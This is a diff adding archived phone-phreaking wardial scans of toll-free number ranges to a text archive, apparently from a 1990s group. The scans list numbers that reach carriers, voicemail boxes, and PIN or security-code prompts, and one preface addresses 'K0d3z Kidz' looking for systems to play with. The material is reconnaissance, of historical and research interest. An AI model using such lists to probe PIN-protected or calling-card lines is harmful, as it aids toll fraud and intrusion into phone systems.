+282 Bellcon (Balcon?) Components.
+283 NA.
+284 2CK.
+285 BellSouth.
+286 NIS.
+287 BTI Business Products Group.
+288 2CK.
+289 Bell Industries.
+290 NIS.
+291 NIS.
+292 2CK.
+293 2CK.
+294 NIS.
+295 Counts numbers.
+296 2CK.
+297 Bell Atlantic's Major Customer Center.
+298 NIS.
+299 2CK.
+300 NOS. (calling card, collect calls, etc.)
+301 NIS.
+302 NIS.
+303 NIS.
+304 NIS.
+305 2CK.
+306 Stevens Corporate Offices. (Cellular and paging?)
+307 Non-working 800 number.
+308 NIS.
+309 "being checked for trouble." - Strange Bell message.
+310 NIS.
+311 TONES.
+312 NIS.
+313 NA.
+314 Autosomethingclub Cellular. (Voice) Call back.
+315 Invalid.
+316 NIS.
+317 NIS.
+318 BUSY.
+319 NIS.
+320 NIS.
+321 NA.
+322 PPG Voicemail system.
+323 2CK.
+324 Ring + Silence then disconnect.
+325 2CK.
+326 2CK.
+327 2CK.
+328 Clerical Support Center.
+329 FAX.
+330 2CK.
+331 Counts numbers.
+332 2CK.
+333 2CK.
+334 Bell Atlantic Caller-ID.
+335 NIS.
+336 2CK.
+337 2CK.
+338 2CK.
+339 NA.
+340 2CK.
+341 2CK.
+342 2CK.
+343 2CK.
+344 2CK.
+345 2CK.
+346 Bell Airomatics.
+347 2CK.
+348 Someone's Voicemail/pager.
+349 2CK.
+350 BUSY.
+351 BUSY.
+352 2CK.
+353 2CK.
+354 2CK.
+355 2CK.
+356 2CK.
+357 Counts numbers.
+358 NA.
+359 Bell Helicopter Textron. (Voice)
+360 Roberts and Daniel Advertising.
+361 NIS.
+362 2CK.
+363 Bell Canada's Total Solution Center for Business.
+364 International Supply company.
+365 NA.
+366 2CK.
+367 2CK.
+368 Bell Helicopter.
+369 Cellular One.
+370 NIS.
+371 NIS.
+372 2CK.
+373 NA.
+374 InterCall.
+375 2CK.
+376 NIS.
+377 2CK.
+378 2CK.
+379 NIS.
+380 NIS.
+381 Cellular One.
+382 2CK.
+383 2CK.
+384 Message Center.
+385 NIS.
+386 NIS.
+387 NIS.
+388 2CK.
+389 NIS.
+390 AT&T Easy Reach 800.
+391 NIS.
+392 2CK.
+393 2CK.
+394 2CK.
+395 BUSY.
+396 2CK.
+397 Invalid.
+398 2CK.
+399 2CK.
+400 Disconnected.
+401 Your call cannot be answered at this time.
+402 NIS.
+403 CARRIER.
+404 NIS.
+405 NIS.
+406 NIS.
+407 John with Southwest Bell wireless.
+408 2CK.
+409 NIS.
+410 FAX.
+411 Car Phone Store.
+412 NIS.
+413 2CK.
+414 VIP Companion Chair.
+415 NIS.
+416 NIS.
+417 NIS.
+418 Please enter your 4 digit PIN.
+419 BellSouth. (Spanish)
+420 NIS.
+421 AT&T Easy Reach 800.
+422 Trindarmerchant Services.
+423 2CK.
+424 Eagle Foliage.
+425 NIS.
+426 2CK.
+427 2CK.
+428 NA.
+429 Please enter your security code now.
+430 NIS.
+431 Winwork and John Calder Offices.
+432 Air Touch Paging. 1-800-6AIR-TOUCH Air Touch Paging Canada.
+433 2CK.
+434 Technical Difficulties.
+435 Please enter your 4 digit PIN.
+436 Something Incorporated. (poor quality recording)
+437 2CK.
+438 Kentucky Cellular.
+439 Direct Bell. (wireless communications)
+440 2CK.
+441 2CK.
+442 2CK.
+443 2CK.
+444 2CK.
+445 2CK.
+446 Colorada Bell room reservations.
+447 2CK.
+448 2CK.
+449 NIS.
+450 NIS.
+451 2CK.
+452 Appalacian Wireless.
+453 2CK.
+454 Counts numbers.
+455 NIS.
+456 Bell Sports Consumer Hotline.
+457 2CK.
+458 2CK.
+459 Something Club. (Voice)
+460 NA.
+461 2CK.
+462 2CK.
+463 2CK.
+464 NIS.
+465 Bell Mobility.
+466 NIS.
+467 CenturyTel.
+468 Harmony Hollow.
+469 NIS.
+470 Bell Mobility.
+471 NIS.
+472 Perfume something order line. (Voice)
+473 2CK.
+474 OmniCell Technologies Incorporated.
+475 Hello? (Voice)
+476 Partnership Network.
+477 2CK.
+478 NIS.
+479 NIS.
+480 2CK.
+481 ATI Cellular.
+482 Hubbell Electronics.
+483 NIS.
+484 Please enter your 4 digit security code now or hold for an Op.
+485 2CK.
+486 2CK.
+487 Cellular One Customer Service.
+488 Cellular 2000.
+489 2CK.
+490 NIS.
+491 Pacific Link Communications Mississauga (Bell Mobility Center)
+492 2CK.
+493 NIS.
+494 NIS.
+495 NA.
+496 Nationlink.
+497 Gary's VMB.
+498 2CK.
+499 NIS.
+500 NIS.
+501 2CK.
+502 NIS.
+503 Jim Grenshaw's Property hotline.
+504 NIS.
+505 NIS.
+506 New Hearth Information Center.
+507 NIS.
+508 NA.
+509 NIS.
+510 NIS.
+511 Law Office.
+512 NIS.
+513 NIS.
+514 Cellular One's Welcome line.
+515 Invalid.
+516 NA.
+517 NA.
+518 CellToys International. (Cellular, PCS, accessories etc.)
+519 NA.
+520 NIS.
+521 Bell Insurance Group.
+522 2CK.
+523 2CK.
+524 NA.
+525 Japan Airlines.
+526 2CK.
+527 2CK.
+528 Southwestern Bell Yellow Pages Business Office.
+529 NIS.
+530 Voice.
+531 2CK.
+532 2CK.
+533 2CK.
+534 NIS.
+535 2CK.
+536 Voice.
+537 2CK.
+538 BUSY.
+539 Excel Data.
+540 NIS.
+541 2CK.
+542 Hello? (Voice) Doesn't accept calls from blocked numbers either.
+543 E-Bell Insurance Marketing.
+544 2CK.
+545 2CK.
+546 2CK.
+547 Hand Bell Supply.
+548 American Express Travel in Irvine, California.
+549 Advanced Cellular and Paging.
+550 Disconnected.
+551 Duracell's Consumer Relations Department.
+552 2CK.
+553 Cleaning Solutions Group.
+554 Medical Center.
+555 2CK.
+556 Bell Atlantic Communications.
+557 Boltwynn Communications. (Voice)
+558 2CK.
+559 2CK.
+560 NIS.
+561 Bell Mobility. (French)
+562 2CK.
+563 Bonjour. (Voice)
+564 NA.
+565 2CK.
+566 NIS.
+567 Cellular One.
+568 2CK.
+569 NIS.
+570 NIS.
+571 Disconnected.
+572 Some lame company's answering machine.
+573 NIS.
+574 NIS.
+575 BC Telus Help Center.
+576 2CK.
+577 NIS.
+578 Something Bells etc. (poor quality recording on the answering machine)
+579 Counts number.
+580 Voice.
+581 NIS.
+582 2CK.
+583 Zodiac Psychic Line.
+584 Please enter your 4 digit PIN.
+585 NIS.
+586 Empire. (Voice)
+587 Disconnected.
+588 NIS.
+589 NIS.
+590 ATI Cellular.
+591 South Cell or something? Call back during normal business hours.
+592 Please leave your numeric message after the tone.
+593 2CK.
+594 BUSY.
+595 NIS.
+596 2CK.
+597 2CK.
+598 2CK.
+599 NIS.
+600 Southwestern Bell.
+601 NIS.
+602 NIS.
+603 Counts numbers.
+604 Cellular One.
+605 Disconnected.
+606 NIS.
+607 That number is not listed. Goodbye.
+608 BUSY.
+609 2CK.
+610 NIS.
+611 NIS.
+612 NIS.
+613 Cellular Unlimited.
+614 Please enter your telephone number.
+615 Ring + Trunk Busy. Called again and someone answered voice.
+616 2CK.
+617 2CK.
+618 NIS.
+619 2CK.
+620 NIS.
+621 Service is not available at this time.
+622 2CK.
+623 NIS.
+624 This program has ended.
+625 NIS.
+626 FAX.
+627 MCI WorldCom Administrative Offices.
+628 2CK.
+629 2CK.
+630 NIS.
+631 Bell Atlantic Shareowner Services.
+632 2CK.
+633 2CK.
+634 2CK.
+635 2CK.
+636 Bell Atlantic Communications.
+637 Bell Wholesale Travel.
+638 Comcev Cellular Communications.
+639 2CK.
+640 PacMed Clinic.
+641 800 number has not been activated.
+642 2CK.
+643 2CK.
+644 NIS.
+645 MCI WorldCom.
+646 NIS.
+647 MinIowa PC Partner. 1-877-727-3375 Internet number.
+648 2CK.
+649 NIS.
+650 BUSY.
+651 2CK.
+652 Bell Atlantic Yellow Pages.
+653 2CK.
+654 2CK.
+655 Please enter your 4 digit PIN.
+656 Cell Theraputics Job Information Line.
+657 2CK.
+658 NIS.
+659 Bell additives and something products.
+660 Bell Atlantic Mobile's Loyalty Management Services Department.
+661 BC Tel Mobility Customer Service.
+662 Voice.
+663 2CK.
+664 BUSY.
+665 2CK.
+666 2CK.
+667 SouthTel Mobility.
+668 Bell Canada.
+669 2CK.
+670 Communication One (authorized agent of Cellular One)
+671 CARRIER.
+672 2CK.
+673 Quintex Cellular.
+674 MCI WorldCom (calling card dialing)
+675 2CK.
+676 2CK.
+677 Someone's residence. Answering machine.
+678 Bell Corporation. (publishing and photography? non-telco related?)
+679 Disconnected.
+680 NIS.
+681 BUSY.
+682 2CK.
+683 NA.
+684 2CK.
+685 2CK.
+686 NIS.
+687 NIS.
+688 2CK.
+689 2CK.
+690 NIS.
+691 2CK.
+692 2CK.
+693 2CK.
+694 NIS.
+695 2CK.
+696 NIS.
+697 Bell Micro. (Voice)
+698 NIS.
+699 NIS.
+700 Lycos Steel.
+701 NIS.
+702 NIS.
+703 NIS.
+704 2CK.
+705 OmniCell Technical Department VMS.
+706 Paging Service Center.
+707 NIS.
+708 2CK.
+709 NIS.
+710 NIS.
+711 NA.
+712 NIS.
+713 2CK.
+714 Invalid.
+715 NIS.
+716 NIS.
+717 NIS.
+718 NIS.
+719 Please leave your numeric message after the tone.
+720 Integritech VMS.
+721 NIS.
+722 2CK.
+723 Non-working 800 number.
+724 AllCell Rentals.
+725 FAX.
+726 Counts numbers.
+727 GTE Wireless.
+728 2CK.
+729 2CK.
+730 2CK.
+731 2CK.
+732 NA.
+733 BellSouth Phones.
+734 NIS.
+735 2CK.
+736 2CK.
+737 2CK.
+738 2CK.
+739 NIS.
+740 NIS.
+741 2CK.
+742 Mobile Media.
+743 2CK.
+744 NIS.
+745 2CK.
+746 NIS.
+747 2CK.
+748 2CK.
+749 NIS.
+750 NIS.
+751 NIS.
+752 Disconnected.
+753 2CK.
+754 NIS.
+755 CARRIER.
+756 2CK.
+757 Enter the PIN number you wish.
+758 NA.
+759 Plymoth Bell Laboratories.
+760 NIS.
+761 NA.
+762 2CK.
+763 2CK.
+764 NIS.
+765 Isralink Communications. (Israel Cell phones)
+766 2CK.
+767 BellSouth automated billing services.
+768 Please enter your 4 digit PIN.
+769 2CK.
+770 2CK.
+771 NA.
+772 Insurance Company.
+773 NIS.
+774 2CK.
+775 BellSouth Phones.
+776 CTI Encore USA.
+777 2CK.
+778 NIS.
+779 2CK.
+780 2CK.
+781 Someone's Voicemail.
+782 Unidentified VMS.
+783 Please enter your 4 digit PIN.
+784 NIS.
+785 NIS.
+786 NIS.
+787 2CK.
+788 2CK.
+789 2CK.
+790 Voice. (Spanish?)
+791 BUSY.
+792 2CK.
+793 2CK.
+794 Advantage Communications Systems.
+795 2CK.
+796 Card Services (Visa and Mastercard)
+797 NIS.
+798 BUSY.
+799 2CK.
+800 2CK.
+801 NIS.
+802 NIS.
+803 Easy Quote Help Desk.
+804 NIS.
+805 Please enter your 4 digit PIN.
+806 Advantage Paging. (I believe it's Bell Advantage)
+807 NIS.
+808 Invalid.
+809 2CK.
+810 Customer Service Center. 1-800-556-5678 to report stolen bank cards.
+811 2CK.
+812 NIS.
+813 NA.
+814 NIS.
+815 NIS.
+816 Federal Express.
+817 Disconnected.
+818 NIS.
+819 NA.
+820 2CK.
+821 MobileCom.
+822 2CK.
+823 NIS.
+824 On hold for 5 mins every single fucking time I call. Call back.
+825 2CK.
+826 2CK.
+827 Office of Tar Bell Realtors.
+828 2CK.
+829 AT&T Easy Reach 800.
+830 Bell Atlantic Mobile.
+831 MobileCom - no longer in service. 1-800-274-3127 MobileCom's National Customer Service Center.
+832 2CK.
+833 2CK.
+834 2CK.
+835 Thank you for calling. Please send your data now.
+836 NA.
+837 2CK.
+838 Invalid.
+839 2CK.
+840 AT&T Easy Reach 800.
+841 Call back during regular business hours.
+842 AT&T Easy Reach 800.
+843 Holiday something. (Voice)
+844 2CK.
+845 2CK.
+846 2CK.
+847 CARRIER.
+848 Counts numbers.
+849 NIS.
+850 NIS.
+851 FAX.
+852 Please enter your 4 digit PIN.
+853 Counts numbers.
+854 MobileCall accounts.
+855 NIS.
+856 BUSY.
+857 NIS.
+858 2CK.
+859 NIS.
+860 NIS.
+861 NIS.
+862 2CK.
+863 NIS.
+864 2CK.
+865 NA.
+866 NA.
+867 NIS.
+868 2CK.
+869 Please call again during our regular business hours.
+870 NIS.
+871 The Phone Man. (No joke!)
+872 2CK.
+873 2CK.
+874 2CK.
+875 NIS.
+876 2CK.
+877 2CK.
+878 NIS.
+879 Bell Industries.
+880 2CK.
+881 2CK.
+882 2CK.
+883 2CK.
+884 2CK.
+885 2CK.
+886 Frontier Teleconferencing.
+887 2CK.
+888 Bell Fasteners.
+889 NIS.
+890 NIS.
+891 2CK.
+892 Answering machine.
+893 Nation's Bank Mastercard application center.
+894 2CK.
+895 NIS.
+896 "zero. zero. five. seven."
+897 Counts numbers. "zero. zero. five. six."
+898 Silent line.
+899 2CK.
+900 NIS.
+901 AT&T Easy Reach 800.
+902 NIS.
+903 2CK.
+904 NIS.
+905 NIS.
+906 "zero. zero. five. five."
+907 NIS.
+908 Please enter your numeric message.
+909 Larry Bell Designs.
+910 NIS.
+911 NIS.
+912 NIS.
+913 Please leave your numeric message after the tone.
+914 2CK.
+915 2CK.
+916 NIS.
+917 This mailbox is temporarily disconnected.
+918 TONES.
+919 Due to problems with the data collection collection system...1-800-526-0366.
+920 NA.
+921 2CK.
+922 2CK.
+923 2CK.
+924 2CK.
+925 2CK.
+926 Ubet Wireless.
+927 2CK.
+928 2CK.
+929 Division of Monarch Mortgage Co.
+930 NIS.
+931 NIS.
+932 2CK.
+933 Fulfillment plus. (agent of Pacific Bell)
+934 Voice.
+935 BUSY.
+936 Not a working number.
+937 2CK.
+938 NIS.
+939 NIS.
+940 2CK.
+941 NIS.
+942 2CK.
+943 NA.
+944 2CK.
+945 Maria's Voicemail.
+946 2CK.
+947 2CK.
+948 Doctor's office.
+949 2CK.
+950 2CK.
+951 Cantel Communications.
+952 Bripoint VMS.
+953 NIS.
+954 NIS.
+955 FAX.
+956 NIS.
+957 2CK.
+958 Alarm Guard.
+959 2CK.
+960 2CK.
+961 2CK.
+962 Colorado Bell Hotel and Casino.
+963 NA.
+964 2CK.
+965 NIS.
+966 Not available from your area code.
+967 AT&T Easy Reach 800.
+968 Action something. (Voice)
+969 2CK.
+970 2CK.
+971 NIS.
+972 2CK.
+973 NIS.
+974 BUSY.
+975 2CK.
+976 NIS.
+977 NIS.
+978 2CK.
+979 NIS.
+980 Light Cellular.
+981 NIS.
+982 2CK.
+983 NIS.
+984 2CK.
+985 2CK.
+986 2CK.
+987 NA.
+988 2CK.
+989 2CK.
+990 NIS.
+991 800 number is currently not active.
+992 2CK.
+993 NIS.
+994 NIS.
+995 2CK.
+996 NA.
+997 BUSY.
+998 2CK.
+999 2CK.
diff --git a/textfiles.com/groups/DAMAGEINC/861-21xx.txt b/textfiles.com/groups/DAMAGEINC/861-21xx.txt
new file mode 100644
index 00000000..c74f0475
--- /dev/null
+++ b/textfiles.com/groups/DAMAGEINC/861-21xx.txt
@@ -0,0 +1,116 @@
+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ 1-800-861-21XX Scan
+
+ http://surf.to/damage_inc
+ damage_inc@dope.org
+===============================================================================
+
+Shatazar's Scans (scanned from the 519 NPA)
+2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service.
+47-4 = Number is blocked/invalid.
+
+1-800-861-2100 2CK.
+1-800-861-2101 Voicemail/FAX.
+1-800-861-2102 Voice.
+1-800-861-2103 "Thank you for calling. Our office is currently closed."
+1-800-861-2104 NA.
+1-800-861-2105 Food Dehydrator.
+1-800-861-2106 Voice.
+1-800-861-2107 Voice.
+1-800-861-2108 Voice.
+1-800-861-2109 Voice.
+1-800-861-2110 Voice.
+1-800-861-2111 "The promotion has expired, please call 1-800-324-4250" (VISA)
+1-800-861-2112 Voice.
+1-800-861-2113 "The promotion has expired, please call 1-800-324-4250" (VISA)
+1-800-861-2114 Voice.
+1-800-861-2115 Voice.
+1-800-861-2116 "Please hangup and try your call again."
+1-800-861-2117 NA.
+1-800-861-2118 NA.
+1-800-861-2119 NA.
+1-800-861-2120 NA.
+1-800-861-2121 2CK.
+1-800-861-2122 Voice.
+1-800-861-2123 New York Times. 1-800-NY-TIMES (Customer Service)
+1-800-861-2124 NA.
+1-800-861-2125 "The promotion has expired, please call 1-800-324-4250" (VISA)
+1-800-861-2126 Voice.
+1-800-861-2127 Voice.
+1-800-861-2128 NA.
+1-800-861-2129 Voice.
+1-800-861-2130 Voice.
+1-800-861-2131 NA.
+1-800-861-2132 Novel Telecommuter Call Forwarding System.
+1-800-861-2133 NIS.
+1-800-861-2134 NIS.
+1-800-861-2135 NIS.
+1-800-861-2136 NIS.
+1-800-861-2137 Voice.
+1-800-861-2138 NIS.
+1-800-861-2139 NIS.
+1-800-861-2140 NIS.
+1-800-861-2141 NIS.
+1-800-861-2142 NIS.
+1-800-861-2143 BUSY.
+1-800-861-2144 NIS.
+1-800-861-2145 Novel unassigned number.
+1-800-861-2146 NIS.
+1-800-861-2147 NIS.
+1-800-861-2148 NA.
+1-800-861-2149 New York Times.
+1-800-861-2150 Disconnected.
+1-800-861-2151 Answering machine.
+1-800-861-2152 Voicemail/Faxmail.
+1-800-861-2153 NIS.
+1-800-861-2154 Disconnected.
+1-800-861-2155 NIS.
+1-800-861-2156 NIS.
+1-800-861-2157 Voice.
+1-800-861-2158 Professional Career Development Institute.
+1-800-861-2159 "The promotion has expired, please call 1-800-324-4250" (VISA)
+1-800-861-2160 Corel's Service Sales line. 1-800-757-2133.
+1-800-861-2161 Professional Career Development Institute.
+1-800-861-2162 American Express Card Application.
+1-800-861-2163 Voice.
+1-800-861-2164 NIS.
+1-800-861-2165 Voice.
+1-800-861-2166 NA.
+1-800-861-2167 New York Times.
+1-800-861-2168 NA.
+1-800-861-2169 Professional Career Development Institute.
+1-800-861-2170 NA.
+1-800-861-2171 Voice.
+1-800-861-2172 Professional Career Development Institute.
+1-800-861-2173 Voice.
+1-800-861-2174 Voice.
+1-800-861-2175 Best of Dean Martin Celebrity Roasts order line.
+1-800-861-2176 Professional Career Development Institute.
+1-800-861-2177 Voice.
+1-800-861-2178 NA.
+1-800-861-2179 Best of Dean Martin Celebrity Roasts order line.
+1-800-861-2180 NIS.
+1-800-861-2181 Professional Career Development Institute.
+1-800-861-2182 NA.
+1-800-861-2183 Voice.
+1-800-861-2184 NA.
+1-800-861-2185 Voice.
+1-800-861-2186 Voice.
+1-800-861-2187 Voice.
+1-800-861-2188 Voice.
+1-800-861-2189 Secure Horizons.
+1-800-861-2190 Voice.
+1-800-861-2191 Voice.
+1-800-861-2192 Tony Robin's Personal Power Orderline.
+1-800-861-2193 Hollywood 48 hour miracle diet order line.
+1-800-861-2194 NA.
+1-800-861-2195 Perry Cuomo order line.
+1-800-861-2196 NA.
+1-800-861-2197 Voice.
+1-800-861-2198 Ring + Silent line.
+1-800-861-2199 Voice.
diff --git a/textfiles.com/groups/DAMAGEINC/861-99xx.txt b/textfiles.com/groups/DAMAGEINC/861-99xx.txt
new file mode 100644
index 00000000..abec92fe
--- /dev/null
+++ b/textfiles.com/groups/DAMAGEINC/861-99xx.txt
@@ -0,0 +1,116 @@
+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ 1-800-861-99XX Scan
+
+ http://surf.to/damage_inc
+ damage_inc@dope.org
+===============================================================================
+
+Shatazar's Scans (scanned from the 519 NPA)
+2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service.
+47-4 = Number is blocked/invalid.
+
+1-800-861-9900 NIS.
+1-800-861-9901 NIS.
+1-800-861-9902 2CK.
+1-800-861-9903 Answering machine.
+1-800-861-9904 Emergency Road Service Line.
+1-800-861-9905 Loud Rings+Tones then "Thank you. Please hang up now."
+1-800-861-9906 Disconnected.
+1-800-861-9907 NIS.
+1-800-861-9908 Polo Sport in Garden City New York.
+1-800-861-9909 NIS.
+1-800-861-9910 2CK.
+1-800-861-9911 NIS.
+1-800-861-9912 NIS.
+1-800-861-9913 NIS.
+1-800-861-9914 NIS.
+1-800-861-9915 Office of JD Consultants.
+1-800-861-9916 Answering machine.
+1-800-861-9917 Voice.
+1-800-861-9918 NIS.
+1-800-861-9919 NIS.
+1-800-861-9920 NIS.
+1-800-861-9921 Voice.
+1-800-861-9922 NIS.
+1-800-861-9923 BUSY.
+1-800-861-9924 BUSY.
+1-800-861-9925 BUSY.
+1-800-861-9926 BUSY.
+1-800-861-9927 BUSY.
+1-800-861-9928 BUSY.
+1-800-861-9929 BUSY.
+1-800-861-9930 BUSY.
+1-800-861-9931 BUSY.
+1-800-861-9932 BUSY.
+1-800-861-9933 NIS.
+1-800-861-9934 BUSY.
+1-800-861-9935 BUSY.
+1-800-861-9936 Real Southern drawl answering machine message.
+1-800-861-9937 Voice.
+1-800-861-9938 NIS.
+1-800-861-9939 NIS.
+1-800-861-9940 Law Office.
+1-800-861-9941 2CK.
+1-800-861-9942 2CK.
+1-800-861-9943 NIS.
+1-800-861-9944 NIS.
+1-800-861-9945 NA.
+1-800-861-9946 2CK.
+1-800-861-9947 NIS.
+1-800-861-9948 2CK.
+1-800-861-9949 Voice.
+1-800-861-9950 NIS.
+1-800-861-9951 NA.
+1-800-861-9952 Voice.
+1-800-861-9953 2CK.
+1-800-861-9954 NIS.
+1-800-861-9955 NIS.
+1-800-861-9956 NIS.
+1-800-861-9957 Protection One.
+1-800-861-9958 Voice.
+1-800-861-9959 The Medical Group Patient Services.
+1-800-861-9960 TSI VMS.
+1-800-861-9961 FAX.
+1-800-861-9962 2CK.
+1-800-861-9963 AT&T Easy Reach 800.
+1-800-861-9964 Static Noise.
+1-800-861-9965 Someone's Pager/Voicemail.
+1-800-861-9966 NIS.
+1-800-861-9967 NIS.
+1-800-861-9968 Voice.
+1-800-861-9969 2CK.
+1-800-861-9970 "Enter the PIN number you wish."
+1-800-861-9971 Union Planners Bank Rate Line.
+1-800-861-9972 NIS.
+1-800-861-9973 NIS.
+1-800-861-9974 Voice.
+1-800-861-9975 NIS.
+1-800-861-9976 "Please enter your 4 digit PIN now or press * for CC calls."
+1-800-861-9977 NIS.
+1-800-861-9978 2CK.
+1-800-861-9979 BUSY. 2
+1-800-861-9980 2CK.
+1-800-861-9981 Somethingville Police.
+1-800-861-9982 2CK.
+1-800-861-9983 2CK.
+1-800-861-9984 2CK.
+1-800-861-9985 2CK.
+1-800-861-9986 2CK.
+1-800-861-9987 Voice.
+1-800-861-9988 2CK.
+1-800-861-9989 "111. The 800 number you have dialed is NIS."
+1-800-861-9990 BUSY. 2
+1-800-861-9991 BUSY.
+1-800-861-9992 Siren Tones.
+1-800-861-9993 NIS.
+1-800-861-9994 NIS.
+1-800-861-9995 NIS.
+1-800-861-9996 NIS.
+1-800-861-9997 2CK.
+1-800-861-9998 NIS.
+1-800-861-9999 47-4. Invalid/Blocked.
diff --git a/textfiles.com/groups/DAMAGEINC/877bell.txt b/textfiles.com/groups/DAMAGEINC/877bell.txt
new file mode 100644
index 00000000..ae40cf19
--- /dev/null
+++ b/textfiles.com/groups/DAMAGEINC/877bell.txt
@@ -0,0 +1,817 @@
+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ 1-877-XXX-BELL Scan
+
+ http://surf.to/damage_inc
+ damage_inc@dope.org
+===============================================================================
+
+*** This is a quick scan for K0d3z Kidz. There are a lot of numbers that are
+ Not In Service. Try calling the No Answers back during business hours if
+ you really want something to do. But there's still some cool shit to play
+ around with. Have phun kids. ***
+
+200 2CK.
+201 NIS.
+202 NA.
+203 Voice.
+204 NIS.
+205 NIS.
+206 Virtual Office.
+207 Invalid.
+208 NIS.
+209 Voice.
+210 BUSY. (3)
+211 FAX.
+212 NIS.
+213 NIS.
+214 NIS.
+215 NIS.
+216 NIS.
+217 NIS.
+218 NIS.
+219 NIS.
+220 NIS.
+221 NIS.
+222 NIS.
+223 NIS.
+224 NIS.
+225 NIS.
+226 NIS.
+227 NIS.
+228 NIS.
+229 NIS.
+230 NIS.
+231 NIS.
+232 NIS.
+233 NIS.
+234 NIS.
+235 NA.
+236 NIS.
+237 NIS.
+238 NIS.
+239 NIS.
+240 NIS.
+241 NIS.
+242 NIS.
+243 NIS.
+244 NIS.
+245 NIS.
+246 NIS.
+247 NIS.
+248 NIS.
+249 NIS.
+250 NIS.
+251 NIS.
+252 2CK.
+253 NIS.
+254 NIS.
+255 InTouch Cellular.
+256 NIS.
+257 Voice.
+258 NIS.
+259 NIS.
+260 NIS.
+261 NIS.
+262 NIS.
+263 NIS.
+264 NIS.
+265 NIS.
+266 NIS.
+267 NIS.
+268 NIS.
+269 NIS.
+270 NIS.
+271 NIS.
+272 2CK.
+273 NIS.
+274 NIS.
+275 NIS.
+276 NIS.
+277 NIS.
+278 2CK.
+279 NIS.
+280 NIS.
+281 NIS.
+282 NIS.
+283 NIS.
+284 NIS.
+285 NIS.
+286 NIS.
+287 NIS.
+288 NIS.
+289 ATX Cellular Department.
+290 NIS.
+291 NIS.
+292 NIS.
+293 NIS.
+294 NIS.
+295 NIS.
+296 NIS.
+297 NIS.
+298 NIS.
+299 NIS.
+300 NIS.
+301 NIS.
+302 NIS.
+303 NIS.
+304 NIS.
+305 NIS.
+306 NIS.
+307 NIS.
+308 NIS.
+309 NIS.
+310 NIS.
+311 NIS.
+312 NIS.
+313 NIS.
+314 NIS.
+315 NIS.
+316 NIS.
+317 NIS.
+318 NIS.
+319 NIS.
+320 NIS.
+321 NIS.
+322 NIS.
+323 NIS.
+324 NIS.
+325 NIS.
+326 NIS.
+327 NIS.
+328 NIS.
+329 NA.
+330 NIS.
+331 NIS.
+332 NIS.
+333 NIS.
+334 NIS.
+335 NIS.
+336 NIS.
+337 NIS.
+338 NIS.
+339 NIS.
+340 NIS.
+341 NIS.
+342 NIS.
+343 NIS.
+344 NIS.
+345 NIS.
+346 NIS.
+347 NIS.
+348 NIS.
+349 2CK.
+350 NA.
+351 Bell Micro Products.
+352 2CK.
+353 NIS.
+354 NA.
+355 NA.
+356 NIS.
+357 Ontario Small Business Market Group.
+358 NIS.
+359 NIS.
+360 Cellhigher USA. (cell phone rentals)
+361 NIS.
+362 NIS.
+363 NIS.
+364 2CK.
+365 NIS.
+366 NIS.
+367 2CK.
+368 NIS.
+369 NIS.
+370 NIS.
+371 NIS.
+372 NIS.
+373 NIS.
+374 NIS.
+375 NIS.
+376 "Enter the PIN number you wish."
+377 BellSouth Mobility.
+378 2CK.
+379 Odyssey.
+380 NIS.
+381 Bell Mobility.
+382 Tones.
+383 "Enter the PIN number you wish."
+384 FAX.
+385 2CK.
+386 NIS.
+387 NIS.
+388 NIS.
+389 NIS.
+390 NIS.
+391 NIS.
+392 Connect Cell Incorporated.
+393 NIS.
+394 NIS.
+395 NIS.
+396 NIS.
+397 NIS.
+398 NIS.
+399 NIS.
+400 NIS.
+401 NIS.
+402 NIS.
+403 NIS.
+404 NIS.
+405 NIS.
+406 NIS.
+407 2CK.
+408 NIS.
+409 NIS.
+410 NIS.
+411 NIS.
+412 NIS.
+413 NIS.
+414 NIS.
+415 NIS.
+416 NIS.
+417 NIS.
+418 NIS.
+419 NIS.
+420 NIS.
+421 NIS.
+422 NIS.
+423 NA.
+424 FAX.
+425 NIS.
+426 NIS.
+427 FAX.
+428 NIS.
+429 NIS.
+430 NIS.
+431 NIS.
+432 NIS.
+433 NIS.
+434 FAX.
+435 NIS.
+436 CARRIER.
+437 Medical Service.
+438 Bell World.
+439 NIS.
+440 NIS.
+441 NIS.
+442 NIS.
+443 NIS.
+444 NA.
+445 FAX.
+446 Disconnected.
+447 Brightpoint Investor Information.
+448 NIS.
+449 Fast BUSY. (2)
+450 Tesco Technologies.
+451 NA.
+452 NIS.
+453 Tesco Technologies.
+454 FAX.
+455 SouthWestern Bell. NIS.
+456 2CK.
+457 NA.
+458 2CK.
+459 NIS.
+460 Forensic Analysts.
+461 FAX.
+462 Testco.
+463 PrimeCell.
+464 BellSouth Mobility Employment Line.
+465 U.S. Long Distance.
+466 Network Services, Inc.
+467 2CK.
+468 2CK.
+469 Nevada Bell QuickService.
+470 2CK.
+471 NIS.
+472 Voice.
+473 Disconnected.
+474 FAX.
+475 2CK.
+476 2CK.
+477 NIS.
+478 NA.
+479 NIS.
+480 2CK.
+481 NIS.
+482 NIS.
+483 Carolina Four Seasons Radiator.
+484 FAX.
+485 Disconnected.
+486 Voice.
+487 Voice.
+488 NA.
+489 PageNet's Wireless Messaging Network.
+490 NA.
+491 NIS.
+492 2CK.
+493 NIS.
+494 FAX.
+495 Voice.
+496 FAX.
+497 Voice. (French)
+498 Portables.
+499 NIS.
+500 Pacific Bell. Out of service. 1-800-PAC-BELL.
+501 NA.
+502 Cellular Technologies.
+503 Wireless Solutions.
+504 FAX.
+505 Disconnected.
+506 Bell ExpressVu.
+507 NIS.
+508 NA.
+509 NA.
+510 NA.
+511 NIS.
+512 2CK.
+513 NIS.
+514 FAX.
+515 FAX.
+516 NIS.
+517 Non-working number at Rockwell Automation.
+518 Bell ExpressVu.
+519 NA.
